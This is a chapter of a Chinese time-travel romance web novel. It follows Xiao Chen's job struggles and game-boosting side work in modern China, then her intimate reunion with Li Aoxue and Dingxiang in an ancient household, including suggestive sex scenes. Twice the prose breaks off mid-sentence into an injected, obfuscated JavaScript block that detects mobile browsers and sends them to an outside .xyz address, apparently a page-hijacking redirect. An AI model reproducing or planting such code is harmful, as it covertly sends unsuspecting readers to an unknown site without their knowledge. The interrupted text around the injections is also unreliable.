“学历怎么这么不值钱?”她对着空无一人的房间嘟囔,语气里满是无奈,“好歹自己也是个本科,怎么找份工作就这么难?” 当初拼了命考上大学,以为拿到毕业证就能顺顺利利找到工作,可真到了社会上才发现,没有经验寸步难行。那些招聘启事上写着“经验不限”,背地里却早就把没经验的应届生筛掉了大半。 她起身倒了杯冷水,一口气灌下去,冰凉的液体顺着喉咙滑下去,却没浇灭心里的烦躁。一边是古代等着她回去的两个人,一边是现代寸步难行的现实,她忽然觉得自己像个卡在两个世界缝隙里的人,哪边都容不下。 手机又亮了一下,她以为是新的回复,拿起来一看,却是日历提醒——明天是交房租的日子。 肖晨叹了口气,重新拿起手机,手指在屏幕上滑动,把那些原本看不上的、薪水低的岗位也点开,咬咬牙,又投了几份。 “先活着再说吧。”她对自己说。 不管怎样,总得先在这个世界站稳脚跟,才有底气去想另一个世界的事。 窗外的天渐渐黑了,出租屋里只开了一盏台灯,暖黄的光打在她脸上,映出几分疲惫,却也藏着一丝不肯放弃的韧劲。 或许明天,就会有好消息呢?她抱着这点微弱的希望,关掉电脑,准备洗漱睡觉。 毕竟,不管是古代还是现代,日子都得一天天过下去。 第二天一早,肖晨第一时间抓起手机,屏幕上干干净净的,没有任何新消息。那些昨天傍晚投出去的简历,依旧石沉大海。 她不死心,又刷新了几遍招聘软件,系统推荐的岗位翻来覆去还是那几个——要么是底薪三千、全靠提成的销售,话术写得天花乱坠,实则透着一股急功近利的味道;要么是要求“形象气质佳、身高165以上”的前台接待,职责里明晃晃写着“负责端茶倒水、收发快递”。 肖晨皱着眉划掉一条又一条,心里那点残存的希望一点点凉下去。她不是看不起销售或前台,只是寒窗苦读十几年,拿着本科毕业证,到头来似乎只能选择这些几乎用不上专业知识的工作,难免觉得有些憋屈。 “就这?”她忍不住对着手机撇撇嘴,指尖在“销售专员”的岗位上悬停了半天,终究还是没点下去。她性子偏静,实在不擅长那种追着人推销的工作。 正犹豫着,一个本地的招聘电话打了进来,对方自称是某教育机构的课程顾问,开口就问:“肖女士,对销售岗位感兴趣吗?我们这边提成很高,努力干月入过万不是梦!” 肖晨耐着性子听完,客气地拒绝了:“不好意思,我暂时不考虑销售岗位。” 挂了电话,她靠在椅背上,看着窗外灰蒙蒙的天,第一次对“本科”这两个字产生了怀疑。曾经以为是敲门砖,如今看来,更像是块食之无味弃之可惜的鸡肋。 中午时分,又有一家公司发来面试邀请,是商场里的前台接待,要求明天去面试,还特意注明“需穿高跟鞋”。 肖晨盯着那条消息看了很久,最终还是回复了“收到,准时参加”。 总不能一直坐吃山空。她想,先找份工作稳住脚再说,哪怕是前台呢,至少能有份收入,不用再对着父母小心翼翼。 只是……一想到自己可能要穿着高跟鞋站在商场门口,对着来往的人说“欢迎光临”,再对比古代那个被丁香和傲雪依赖着的“少爷”,心里就泛起一阵荒诞的落差感。 两个世界,两种身份,两种截然不同的生存困境。 她长长地叹了口气,起身去衣柜里翻找能穿去面试的衣服。衣柜里大多是休闲装,唯一一双高跟鞋还是毕业时为了答辩买的,早就落了灰。 “先凑活穿吧。”肖晨拿起鞋,用布擦了擦鞋面上的灰尘,心里默默祈祷明天的面试能顺利些。 至少,先在这个世界活下去,才有资格谈其他的。 这个念头,成了此刻支撑她的唯一动力。 第二天一早,肖晨穿上那条洗得发白的牛仔裤,搭了件浅蓝衬衫,又硬着头皮穿上那双磨脚的高跟鞋。站在镜子前,看着自己略显拘谨的样子,忍不住自嘲地勾了勾嘴角——这副打扮,倒像是偷穿了大人衣服的小孩。 面试的商场离出租屋不远,她提前半小时到了地方,站在光洁的大理石地面上,看着来来往往的人群,忽然有些发怵。高跟鞋的鞋跟敲在地上,发出“噔噔”的声响,每一步都像是踩在棉花上,虚浮得很。 面试官是个妆容精致的女人,扫了她一眼,问了几个无关痛痒的问题:“能接受早晚班倒吗?”“会用办公软件吗?”“遇到难缠的顾客能忍吗?” 肖晨一一应了,声音有些发紧。 对方在简历上画了个勾:“明天可以来试岗,试用期三千,转正三千五,包两餐。” 没有多余的废话,更像是在打发一个临时工。 肖晨捏了捏手心,说了声“谢谢”,转身走出商场时,高跟鞋的带子已经把脚踝磨红了一片。她脱下鞋,赤着脚坐在路边的台阶上,看着来往行人的鞋——有锃亮的皮鞋,有舒适的运动鞋,还有和她一样不太合脚的高跟鞋。 原来大家都在硬撑着往前走啊。她忽然想。 回出租屋的路上,她买了双平底帆布鞋换上,瞬间觉得脚下轻松了不少。路过菜市场时,闻到包子铺飘出的香味,摸了摸口袋,买了两个肉包,一边走一边啃,温热的肉馅混着面皮的麦香,竟吃出了几分踏实感。 刚到楼下,手机响了,是子涵打来的:“喂,工作找咋样了?我妈托人给我找了个仓库管理员的活,下周上班,要不你也来试试?虽然累点,但好歹稳定。” 肖晨愣了一下,随即笑了:“仓库管理员?我这细胳膊细腿的,能搬得动箱子吗?” “笨啊,又不用你搬大的,就是登登台账,盘点一下货物。”子涵在那头嚷嚷,“工资四千呢,比你去当前台强。” 肖晨心里一动:“真的?” “骗你干啥!我妈朋友的公司,靠谱!”子涵顿了顿,“你要是想去,我跟我妈说一声,下午就能带你去看看。” 挂了电话,肖晨站在楼下,手里还攥着没吃完的包子,心里那点憋屈忽然散了不少。或许生活就是这样,你以为山穷水尽了,偏偏在路边能捡到块垫脚石。 她咬了口包子,快步往回走,脚步轻快得像踩着风。高跟鞋被她拎在手里,带子晃悠着,倒像是卸下了什么沉重的负担。 去仓库也好,至少不用穿着磨脚的鞋站一整天。 她掏出手机,给子涵回了条消息:“去!现在就去!” 肖晨跟着子涵去仓库熟悉环境时,正赶上一批新货入库,叉车在通道里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014093|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来来往往,空气中飘着淡淡的纸箱味。负责人简单交代了几句,把登台账的电脑指给她:“平时就盯着这个,核对数量、记好出入库时间,不难。” 她点点头,坐在靠窗的位置上,看着屏幕上跳动的数字,忽然觉得这份工作意外地合心意——不用应付太多人,安安静静做事就好。 午休时,子涵拎着两份盒饭过来,往桌上一放,打开盖子就开始抱怨:“你是不知道,我昨天去帮我 cousin 搬家,他那公司招个助理,要求本科就算了,还得是985的,笔试面试折腾了三轮,最后招了个海归。” 他扒了口饭,啧啧两声:“现在的工作是真难找,没有985学历,好像连职场的门都摸不着。咱们这种普通本科,说出来都嫌丢人,早就不值钱了。” 肖晨咬着筷子,想起自己投简历时的碰壁,深有同感:“确实,我之前投的几家,明明写着‘本科及以上’,结果连个面试机会都没有。” “可不是嘛。”子涵叹了口气,忽然话锋一转,“不过说真的,我现在反倒觉得,学历啊工作啊,好像也没那么重要。” 肖晨抬眼看他。 “你想啊,就算进了大公司,天天996,挣再多钱,累得跟狗似的,有啥意思?”子涵咽下嘴里的饭,眼神认真了些,“我觉得还不如过得幸福重要。能吃好睡好,身边有在乎的人,日子过得踏实,比啥都强。” 他挠挠头,笑了:“可能我没追求吧,反正我妈总说我没出息。但我是真觉得,幸福这东西,跟学历工作没关系。” 肖晨愣住了。 幸福……她想起古宅里的月光,丁香递过来的热茶,李傲雪绣帕上的兰草,还有肖晨(原身)留在记忆里的、对安稳日子的渴望。那些画面里,没有学历,没有职场,只有实实在在的牵挂和暖意。 是啊,幸福哪有那么多标准。 她低下头,扒了口饭,嘴角悄悄扬起:“你说得对。” 子涵没察觉她的异样,还在自顾自地说:“对吧?所以你也别想太多,在这儿好好干,好歹安稳。等攒点钱,我打算去学个烘焙,开个小店……” 肖晨听着他絮絮叨叨的规划,心里忽然敞亮了。现代的学历焦虑、古代的身份纠葛,好像都在这一刻淡了些。 或许真的像子涵说的,不用纠结那么多。 在现代,就好好管仓库、登台账,挣了钱交房租、攒路费;回古代,就守着那方小院,看看丁香侍弄花草,陪傲雪绣绣帕子。 哪边的日子都有难处,但也都有盼头。 她抬起头,看着窗外透进来的阳光,落在子涵咋咋呼呼的脸上,忽然觉得,这样的日子,也挺好。 至少此刻,她是踏实的。 至于幸福,或许就藏在这些平平淡淡的瞬间里。 下班走出仓库时,夕阳正把天染成橘红色。肖晨伸了个懒腰,一天对着电脑登台账,不算累,却觉得浑身提不起劲——实在太无聊了,重复的数字、规律的流程,像一杯温吞的白开水,喝着解渴,却没什么滋味。 回到出租屋,她瘫在沙发上刷手机,看着余额提醒的短信,忽然想起子涵说的“攒钱开烘焙店”。自己虽然没那打算,但总不能一直月光,更何况……她还得想办法回去,谁知道下一次穿越会不会需要什么“成本”? 手指划着划着,看到游戏论坛里有人发代练广告,说打排位上分能赚不少。肖晨眼睛一亮——她王者荣耀玩得不算顶尖,但好歹也是个王者段位,平时和子涵开黑总能carry,做个代练应该没问题。 说干就干,她立刻注册了个小号,在论坛和游戏频道发了消息:“王者代练,效率上分,价格好商量。” 没想到刚发出去半小时,就有人私聊她:“钻石上星耀多少钱?” 肖晨查了下市场价,回了个数字,对方很爽快地付了定金。 她立刻打开游戏,登录对方的账号。操控着陌生的英雄,在熟悉的峡谷里厮杀,白天积攒的无聊感一扫而空。大招放得精准,走位躲得刁钻,连胜五把后,对方发来一串赞叹的表情:“姐妹太猛了!再加钱,帮我冲到王者!” 肖晨看着屏幕,嘴角忍不住上扬。这活儿不错,既能打发时间,又能赚钱,简直是为她量身定做的。 接下来的日子,她过上了“仓库管理员+游戏代练”的双面生活。白天在仓库对着台账发呆,晚上就化身峡谷战神,手指在屏幕上翻飞。代练的订单越来越多,有时忙到半夜,手指都有些发麻,但看着微信余额一点点上涨,心里就踏实得很。 子涵知道了,啧啧称奇:“你可以啊,这都能搞副业?我妈要是知道我打游戏能赚钱,估计得惊掉下巴。” 肖晨笑着捶了他一下:“别告诉你妈,不然她该催我带带你了。” 其实她心里清楚,做代练不光是为了赚钱。在游戏里,她不用想现代的房租和父母的期望,也不用念古代的牵挂和身份的烦恼,只需要专注于输赢,那种纯粹的目标感,让她觉得很放松。 更重要的是,看着账户里慢慢变多的数字,她仿佛能看到一条清晰的路——攒够了钱,就能更自由地安排时间,就能更有底气去面对那个古宅里的世界。 某天晚上,她刚打完一个大单,伸了个懒腰,看着窗外的月光。忽然觉得,这样的日子虽然平凡,却也有它的奔头。 至少,不用担心下个月的房租了。 她关掉游戏,躺到床上,摸出手机设了个闹钟。明天还得早起去仓库,晚上还有三个代练订单等着呢。 生活嘛,不就是这样,一边吐槽着无聊,一边又在不起眼的角落里,找到属于自己的节奏和盼头。 一个月后的傍晚,肖晨算完最后一笔代练收入,点开银行APP,看着那个不断跳动的余额数字,愣了好一会儿才反应过来——竟然比她预想的多了近一倍。白天仓库的工资虽然不算高,但晚上的代练活儿几乎没断过,有时候遇到爽快的客户,还会多给些小费,攒下来的数字着实让她吃了一惊。 “嚯,够意思。”她对着屏幕笑了笑,手指在转账界面顿了顿,直接点了“缴纳半年房租”。看着租金从账户里划走,心里那块悬了许久的石头终于落了地。 以前总担心“下个月房租怎么办”,现在一口气交了半年,终于不用再为这事揪着心了。她起身走到窗边,拉开窗帘,晚风带着点凉意吹进来,吹散了房间里的沉闷。 桌上还放着中午没吃完的便当,是仓库食堂打的,两素一荤,味道不算惊艳,但管饱。换作以前,她可能会觉得这样的日子太潦草,可现在看着账户里剩下的余额,再想想那些在峡谷里厮杀的夜晚,忽然觉得这份“潦草”里藏着踏实。 手机响了,是房东发来的消息:“收到了,谢谢。半年内不用惦记房租的事了,安心住。” 肖晨回了个“谢谢阿姨”,放下手机,忽然觉得浑身轻松。她从冰箱里翻出一罐可乐,拉开拉环,气泡“滋啦”一声涌出来,带着清爽的甜。 以前总觉得,幸福是要有体面的工作、光鲜的生活,可现在她发现,能痛痛快快交上房租,不用为生计发愁,也是一种难得的幸福。 她靠在墙上,喝着可乐,目光落在书架上那本落灰的画集上。或许,是时候想想回去的事了。 账户里的钱足够支撑她暂时不工作,仓库的活儿可以请几天假,代练的订单也能提前跟客户打好招呼。 “等这波订单结束就走。”她对自己说,心里忽然涌起一股期待。 不知道傲雪的绣帕绣完了没有,丁香是不是又偷偷在院子里种了新的花。 可乐喝完了,她把空罐扔进垃圾桶,转身打开电脑,继续登录游戏。最后几单了,练完就能安心回去。 屏幕亮起,峡谷里的厮杀声再次响起,这一次,她的动作里多了几分轻快。 因为她知道,打完这一场,就离那个有月光、有花香、有牵挂的地方,更近了一步。 47.她想她们了,回到了古代 最后一单代练结束时,窗外天已经蒙蒙亮。肖晨揉了揉酸涩的眼睛,退出游戏界面,长长舒了口气。手机提示音接连响起,是客户发来的感谢和额外的红包,她笑着回了句“不客气”,便把手机扔到一边。 一切都处理妥当了。仓库请了假,房租交足了半年,账户里的余额也足够让她在古代待上一阵。 她走回房间,从衣柜最深处翻出一个旧盒子,里面静静躺着那幅从古代带回来的李傲雪肖像画。画纸边缘有些磨损,却依旧能看清画中女子温婉的眉眼。肖晨轻轻抚摸着画纸,指尖传来粗糙的质感,仿佛能透过这层纸,触到那个古宅里的温度。 躺到床上,她把画紧紧抱在怀里,闭上眼睛,像过去无数次那样,在心里清晰地默念:“520。” 熟悉的眩晕感瞬间袭来,比以往任何一次都要强烈。身体像是被卷入一个急速旋转的漩涡,耳边响起模糊的嗡鸣,现代房间里的窗帘、书桌、台灯……所有景象都在飞速褪去。 再次睁开眼时,鼻尖萦绕着淡淡的檀香,身下是柔软的锦被,耳边传来窗外清脆的鸟鸣。 她回来了。 肖晨撑起身子,环顾四周——还是她离开时的那间跨院卧房,桌上的茶盏里,茶水似乎还冒着热气,仿佛她从未离开过。 “公子?您醒了?”门外传来丁香怯生生的声音,伴随着轻轻的敲门声。 肖晨心里一暖,扬声道:“进来。” 门被推开,丁香端着一盆清水走进来,看到她醒着,眼睛立刻亮了:“您可算醒了!您昨天……哦不,就刚才忽然睡着了,可把我吓坏了。” 肖晨一愣:“刚才?” “是啊,”丁香放下水盆,走到床边,伸手想探她的额头,又有些不好意思地缩了回去,“您躺下没多久就睡着了,我就在外间守着,这才刚过一刻钟呢。” 一刻钟。 肖晨心里了然——她在现代足足待了一个多月,可在这个世界,竟然只过去了短短一分钟。时间的错位感让她有些恍惚,仿佛现代的仓库、代练、房租……都只是一场过于真实的梦。 “我没事,”她笑着安抚丁香,“就是有点累,睡了一觉就好了。” “那就好。”丁香松了口气,转身往外走,“我去告诉少夫人您醒了,让厨房把早饭端过来。” “等等。”肖晨叫住她,看着她略显清瘦的脸颊,“你身子好些了吗?” 丁香没想到她会问这个,愣了一下,随即红了脸,小声道:“早好利索了,谢谢公子关心。” 看着她快步走出房间的背影,肖晨低头看了看怀里的画,画中李傲雪的笑容温柔依旧。 她回来了。 带着现代一个多月的疲惫与踏实,回到了这个让她牵挂的地方。 窗外的阳光透过窗棂照进来,在锦被上投下细碎的光斑。肖晨深吸一口气,把画小心地放在枕边,嘴角扬起一抹轻松的笑意。 这次,她可以安心地待在这里了。 李傲雪刚走到门口,就听到里间传来肖晨的声音,脚步不由得加快了些。推开门时,见肖晨正靠坐在床头,阳光落在她脸上,熟悉又真切,眼眶一下子就红了。 她快步走过去,不等肖晨说话,便轻轻抱住了她,声音带着压抑许久的哽咽:“少爷,您还好吗?” 肖晨回抱住她,鼻尖蹭到她发间淡淡的皂角香,心里那股积攒了一个多月的思念瞬间翻涌上来,声音沙哑:“我好想你们。” 话音刚落,她微微侧头,吻上了李傲雪的唇。这个吻带着久别重逢的急切,带着失而复得的珍重,也带着藏在心底的万千情绪——她太想她们了,想念这方古宅的安稳,想念这份无需掩饰的牵挂。 李傲雪浑身一僵,随即慢慢放松下来,闭上眼睛回应着她,只是睫毛上很快就沾了湿意。片刻后,她轻轻推开肖晨,脸颊绯红,目光往门口瞟了瞟,声音细若蚊吟:“少爷,丁香还在呢。” 肖晨这才回过神,转头看向门口——丁香端着托盘站在那里,手里的碗碟轻轻晃了晃,显然是没料到她会如此大胆,脸上带着几分错愕,眼神里却藏着一丝不易察觉的酸涩。 刚才那一幕,她看得清清楚楚。肖晨亲吻的是少夫人,不是她。 丁香连忙低下头,把托盘往桌上放,动作有些慌乱:“我……我把早饭放下就走。” “别走。”肖晨叫住她,心里忽然涌上一阵愧疚。她光顾着和傲雪倾诉思念,却忘了丁香也在等她。 丁香停下脚步,背对着她们,肩膀微微耸动,却没回头。 李傲雪看了看肖晨,又看了看丁香的背影,轻轻拍了拍肖晨的手,柔声道:“你刚回来,先吃点东西吧。丁香,过来一起坐。” 丁香这才慢慢转过身,眼睛红红的,却强扯出一个笑容:“不了少夫人,我……我去看看厨房的汤好了没。”说完,几乎是逃也似的快步走出了房间。 门被轻轻带上,房间里只剩下肖晨和李傲雪。 “都怪我,”肖晨叹了口气,“太急了。” 李傲雪摇摇头,拿起一个温热的馒头递到她手里,眼神温柔:“她也是盼着您回来的,只是……”她没再说下去,但意思不言而喻。 肖晨咬了口馒头,心里有些不是滋味。在现代时,她总想着回来后要好好补偿她们,却没料到重逢的喜悦会让她忽略了丁香的感受。 “等会儿我去看看她。”肖晨说。 李傲雪点点头,替她倒了杯温水:“不急,先把早饭吃了。你这次回来,打算多住些日子吗?” “嗯,”肖晨看着她,眼神坚定,“这次不走了,至少……能多陪你们一阵子。” 窗外的鸟鸣声清脆悦耳,阳光透过窗纱洒在桌上的粥碗里,泛着温暖的光泽。肖晨看着眼前的李傲雪,想着刚才跑开的丁香,心里忽然安定下来。 不管现代有多少牵绊,此刻,她只想守着这方小院,守着眼前的人。那些未尽的温柔,未说的牵挂,都该慢慢弥补回来了。 早饭没吃多久,肖晨便又将李傲雪拉进了怀里。锦被滑落肩头,她埋在李傲雪颈间,呼吸带着灼热的温度,声音里满是压抑不住的眷恋:“让我抱会儿。” 李傲雪被她缠得没办法,脸颊贴在她发顶,指尖轻轻抚过她的脊背,声音软得像棉花:“刚吃过饭,仔细岔了气。” “不管。”肖晨耍赖似的收紧手臂,鼻尖蹭着她细腻的肌肤,“在那边想了太久,现在只想抱着你。” 话落,她的吻又落了下来,从唇角到耳畔,再到颈侧,带着不容拒绝的急切。李傲雪起初还推拒着,嘴里念叨着“这还是白天呢”“丁香说不定会进来”,可被她缠得久了,那点坚持也渐渐化了,只剩下微颤的睫毛和发烫的耳垂。 肖晨太想念她了。现代那些日子,无论是对着仓库的台账,还是在峡谷里厮杀,眼前总会时不时浮现出她的模样——灯下读书时的专注,蹙眉绣花时的认真,还有偶尔流露出的、带着羞怯的温柔。思念像藤蔓,早已在心底盘根错节。 情到浓时,哪里还顾得上白天黑夜。锦被被揉得凌乱,衣襟散开,李傲雪被她折腾得浑身发软,眼角泛着水光,偏偏又舍不得推开。她能感受到肖晨身上那股失而复得的焦灼,那是藏在急切里的珍视。 “少爷……轻些……”她气若游丝地低语,指尖攥着肖晨的衣襟,指节泛白。 肖晨这才稍稍放缓了动作,额头抵着她的,呼吸交缠。窗外的日光渐渐移到床榻边,照在两人交握的手上,暖融融的。 不知过了多久,房间里才渐渐安静下来,只剩下彼此微促的喘息。李傲雪窝在肖晨怀里,脸颊泛着红晕,浑身酸痛得厉害,连抬手的力气都没了,却忍不住往她怀里缩了缩,嘴角带着满足的笑意。 肖晨轻轻抚摸着她汗湿的发丝,心里那片空落落的地方终于被填满了。她低头吻了吻她的额头,声音沙哑:“抱歉,太急了。” 李傲雪摇摇头,眼睛半睁半闭,声音懒洋洋的:“知道你想我……” 话音未落,门外传来轻轻的脚步声,随即又停住了,像是犹豫着该不该进来。 肖晨和李傲雪对视一眼,都从对方眼里看到了几分无奈。 “是丁香吧。”李傲雪小声说,想起身整理衣襟,却被肖晨按住了。 “让她先等着。”肖晨把她往怀里带了带,下巴搁在她发顶,“再抱会儿。” 阳光穿过窗棂,在地上投下长长的光影。房间里静悄悄的,只有两人平稳的呼吸声交织在一起。 久别重逢的滋味,是急切,是眷恋,是哪怕只是静静抱着,也觉得无比安心的踏实。 至于门外的丁香……肖晨心里想着,等会儿,一定要好好跟她说声抱歉。 被肖晨抱着躺了许久,李傲雪身上的酸痛感丝毫未减,却还是撑着身子坐起来,替她整理衣襟。指尖触到肖晨温热的肌肤,她脸颊微红,动作却轻柔仔细,将散开的衣袍系好,又理了理褶皱的袖口。 “好了。”她轻声说,额角沁出一层薄汗。 肖晨握住她的手,凑过去亲了亲她的唇角:“辛苦你了。” 李傲雪摇摇头,眼底漾着温柔的笑意:“每天伺候你,就是我最幸福的事。” 收拾妥当,肖晨推开房门时,正撞见丁香站在廊下,目光望着别处,指尖却紧紧攥着帕子。听到开门声,她猛地回过头,眼里的失落来不及掩饰,对上肖晨的视线,才慌忙低下头,轻声问:“公子今天要去书房读书吗?” 肖晨看着她泛红的眼眶,心里那点愧疚又涌了上来。她知道丁香还在为早上的事难过。 “不读书。”肖晨没松开李傲雪的手,反而上前一步,轻轻拉住丁香的另一只手,“跟我来。” 丁香愣住了,被她牵着走进房间,脚步有些踉跄。李傲雪站在一旁,安静地看着,没说话。 肖晨拉着丁香走到床边坐下,认真地看着她:“我哪都不去,今天就陪着你。” 丁香猛地抬起头,眼里满是难以置信,随即又黯淡下去:“你不应该陪少夫人吗?刚才……刚才你们……” 她的话没说完,却红了眼眶。 肖晨伸出手,轻轻拭去她眼角的泪,动作温柔:“傲雪是我的妻子,你也是。” 她顿了顿,看着丁香错愕的眼神,一字一句道:“在我心里,你不是妾,和傲雪一样,都是我的妻子。陪你,是应该的。” 话音落,她微微低头,吻上了丁香的唇。这个吻不同于对李傲雪的急切,带着安抚和珍视,轻轻的,却足够清晰地传递着她的心意。 丁香浑身一僵,眼泪却掉得更凶了,不是难过,而是委屈和惊喜交织在一起,让她忍不住哽咽起来。 肖晨松开她,替她擦着眼泪:“别哭了,是我不好,早上忽略了你。” 李傲雪走过来,坐在丁香另一边,握住她的手,柔声道:“丁香,公子心里是有你的。” 丁香看看肖晨,又看看李傲雪,嘴唇动了动,却说不出话,只是摇着头,眼泪却像断了线的珠子。 肖晨叹了口气,把她揽进怀里,像安抚孩子似的拍着她的背:“以后不会了。你们都是我放在心上的人,不会再让你受委屈。” 阳光透过窗棂照进来,落在三人交握的手上。丁香靠在肖晨怀里,闻着她身上熟悉的气息,心里的酸涩渐渐被暖意取代。原来……她在公子心里,竟是和少夫人一样的位置。 李傲雪看着眼前的景象,嘴角弯起一抹释然的笑。或许这样,才是最好的。 肖晨一手揽着一个,感受着怀里两个人的温度,心里一片安稳。现代的烦恼、古代的身份,似乎都在这一刻烟消云散。 她哪里都不用去,只要守着这方小院,守着眼前这两个让她牵挂的人,就够了。 肖晨用帕子仔细给丁香擦干眼泪,看着她红红的眼眶,放柔了声音:“好久没听你弹琴了,今天能弹一曲给我听吗?” 丁香吸了吸鼻子,眼里还带着水汽,却用力点了点头,声音带着点鼻音:“公子想听,我现在就去取琴。” 她起身要走,肖晨却轻轻拉住她:“不急,坐会儿再去。” 丁香愣了愣,乖乖坐回她身边,手指紧张地绞着衣角,心里却暖烘烘的。 一旁的李傲雪看着她们,嘴角噙着笑意,轻声问:“少爷,以后我能跟你一起听吗?” 肖晨转头看向她,见她脸色还有些苍白,知道她刚才被折腾得不轻,伸手扶着她的肩膀,柔声道:“你先躺下歇着,想听的话,随时让丁香弹给你听,好不好?” 李傲雪顺从地点点头,肖晨扶着她躺回床上,替她盖好薄被:“睡一会儿,累了吧?” 李傲雪“嗯”了一声,闭上眼睛,嘴角却带着满足的笑意。 安顿好李傲雪,肖晨才对丁香说:“去吧,取琴来。” 丁香应声起身,脚步轻快地走出房间。不多时,她抱着一把古琴回来,在窗边的矮榻上坐下,轻轻调了调琴弦。 指尖落下,清越的琴声便流淌开来。不是激昂的调子,而是像山涧清泉般舒缓,带着淡淡的暖意,缠绕着房间里的每一个角落。 肖晨坐在一旁静静听着,目光落在丁香专注的侧脸上。她的手指纤细,在琴弦上灵活地跳跃,眉宇间带着几分安然,再没有刚才的委屈和酸涩。 床上的李傲雪似乎也醒了,侧躺着,眼睛半睁着,听着琴声,嘴角弯着浅浅的弧度。 阳光透过窗纱,在地上投下斑驳的光影,琴声、呼吸声、窗外的鸟鸣声交织在一起,安静得不像话,却又满是烟火气的温柔。 肖晨靠在榻边,看着眼前的景象,忽然觉得,这就是她一直想要的安稳。 没有穿越的混乱,没有身份的挣扎,只有她,和她放在心尖上的两个人,在这方小院里,听琴,相伴,度过一个又一个寻常的日子。 琴声渐渐收尾,最后一个音符落下,余音袅袅。 丁香停下手,抬头看向肖晨,眼里带着期待:“公子,好听吗?” 肖晨笑着点头,拍了拍手:“好听,比以前更好听了。” 丁香的脸颊瞬间红了,低下头,嘴角却忍不住上扬。 床上的李傲雪轻声道:“是很好听,丁香的琴艺又长进了。” 肖晨望着丁香,眼里满是赞赏:“你的琴声很美,像山涧的流水,听着心里踏实。” 丁香脸颊微红,指尖轻轻拨了下琴弦,发出清脆的一响:“只要公子和少夫人喜欢,我会经常弹给你们听的。” “那就很好。”肖晨笑着点头,转头看向床上的李傲雪,见她还睁着眼睛望着这边,便走过去,替她掖了掖被角,声音放得更柔,“好好躺下睡一觉,刚才……让你累坏了。” 李傲雪闻言,脸颊泛起一层薄红,有些不好意思地说:“少爷,在丁香面前说这个,不太好吧。” 肖晨却板起脸,故作严肃:“听话。” 李傲雪看着她眼底的关切,终究还是顺从地闭上了眼睛,睫毛轻轻颤了颤,很快便呼吸平稳地睡了过去。 肖晨这才放心,转身对丁香说:“我们出去走走,让她好好歇着。” 丁香点点头,起身将古琴收好,跟着肖晨走出了房间。 院门外的阳光正好,廊下的藤蔓爬得正旺,开着细碎的小白花,空气里飘着淡淡的花香。 肖晨放慢脚步,牵着丁香的手,沿着回廊慢慢走着。 “刚才……委屈你了。”她轻声说,语气里带着歉意。 丁香摇摇头,反手握紧她的手,声音轻快:“不委屈,公子心里有我,我就很高兴了。” 肖晨看着她亮晶晶的眼睛,心里一暖,停下脚步,认真地说:“以后不会再让你觉得被忽略了。” 丁香用力点头,眼眶又有些发热,却笑着仰起脸:“嗯!” 两人相视一笑,继续沿着回廊往前走。阳光透过藤蔓的缝隙洒下来,在地上投下斑驳的光影,将她们的影子拉得很长。 远处传来几声蝉鸣,衬得这方小院愈发安静。 肖晨深吸一口气,空气中满是安宁的味道。 两人回到房间,丁香小心翼翼地将古琴放回琴盒,收进角落的柜子里。刚转过身,就被肖晨轻轻揽进了怀里。 “我真的很想你们。”肖晨的下巴抵在她发顶,声音带着浓浓的眷恋,“在那边的日子,总想着你们现在在做什么,有没有好好吃饭,有没有惦记我。” 丁香靠在她胸前,听着她沉稳的心跳,心里像被温水泡着,软软的:“我一直都在,少夫人也一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014094|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直在等你回来。” 肖晨收紧手臂,轻声问:“现在在府里还习惯吗?有没有人欺负你?” 丁香摇摇头,声音轻快了些:“已经很好了。府里的人都和善,吃的住的都舒心,比我过去在花船上要好太多了。” 她顿了顿,想起在花船上看人脸色、强颜欢笑的日子,再对比现在的安稳,眼眶微微发热:“是公子给了我这样的日子。” 肖晨听着她的话,心里一阵怜惜,低下头,轻轻吻了吻她的额头:“只要你好,我就放心了。” 丁香抬起头,望着她的眼睛,认真地说:“你为我做了太多,我无以为报,只想好好爱你,好好伺候少夫人,守着这个家。” 肖晨看着她眼里的真诚,心里一暖,低头吻上她的唇。这个吻不同于对李傲雪的急切,也不同于刚才的安抚,带着细细密密的珍视,像春风拂过湖面,漾起层层涟漪。 窗外的阳光正好,照在两人交握的手上,温暖而踏实。 床上的李傲雪翻了个身,似乎并未被打扰,依旧睡得安稳。 丁香的回应带着压抑许久的炽热,不再是初见时的羞怯生涩,指尖主动勾住肖晨的衣襟,带着几分笨拙的急切。肖晨被她眼底的情愫烫得心头发紧,身体瞬间起了反应,呼吸也粗重起来。 她拦腰抱起丁香,大步走向床榻。锦被被带起一阵轻晃,床上的李傲雪似乎被惊动,睫毛颤了颤,却依旧闭着眼,只是往里侧挪了挪,给她们留出了位置。 肖晨将丁香轻轻放在榻上,俯身吻下去,带着不容错辨的急切。丁香没有躲闪,反而抬手环住她的脖颈,主动迎上去,鼻尖蹭着她的脸颊,呼吸带着滚烫的温度:“公子……” 声音里的柔软像羽毛,轻轻搔刮着肖晨的心。她知道丁香是想疼她,想让她感受到同样的眷恋。指尖抚过她的衣襟,动作带着几分急切的颤抖,却被丁香轻轻按住。 “我来。”丁香的声音细若蚊吟,脸颊红得能滴出血来,却还是鼓起勇气,抬手解开了肖晨的衣扣。指尖触到温热的肌肤,她的手微微发颤,眼神却格外认真。 肖晨看着她专注的模样,心里那股急切忽然淡了些,只剩下满满的暖意。她握住丁香的手,放在唇边轻轻吻了吻:“别急。” 丁香摇摇头,眼里闪着细碎的光:“我想……让你舒服些。” 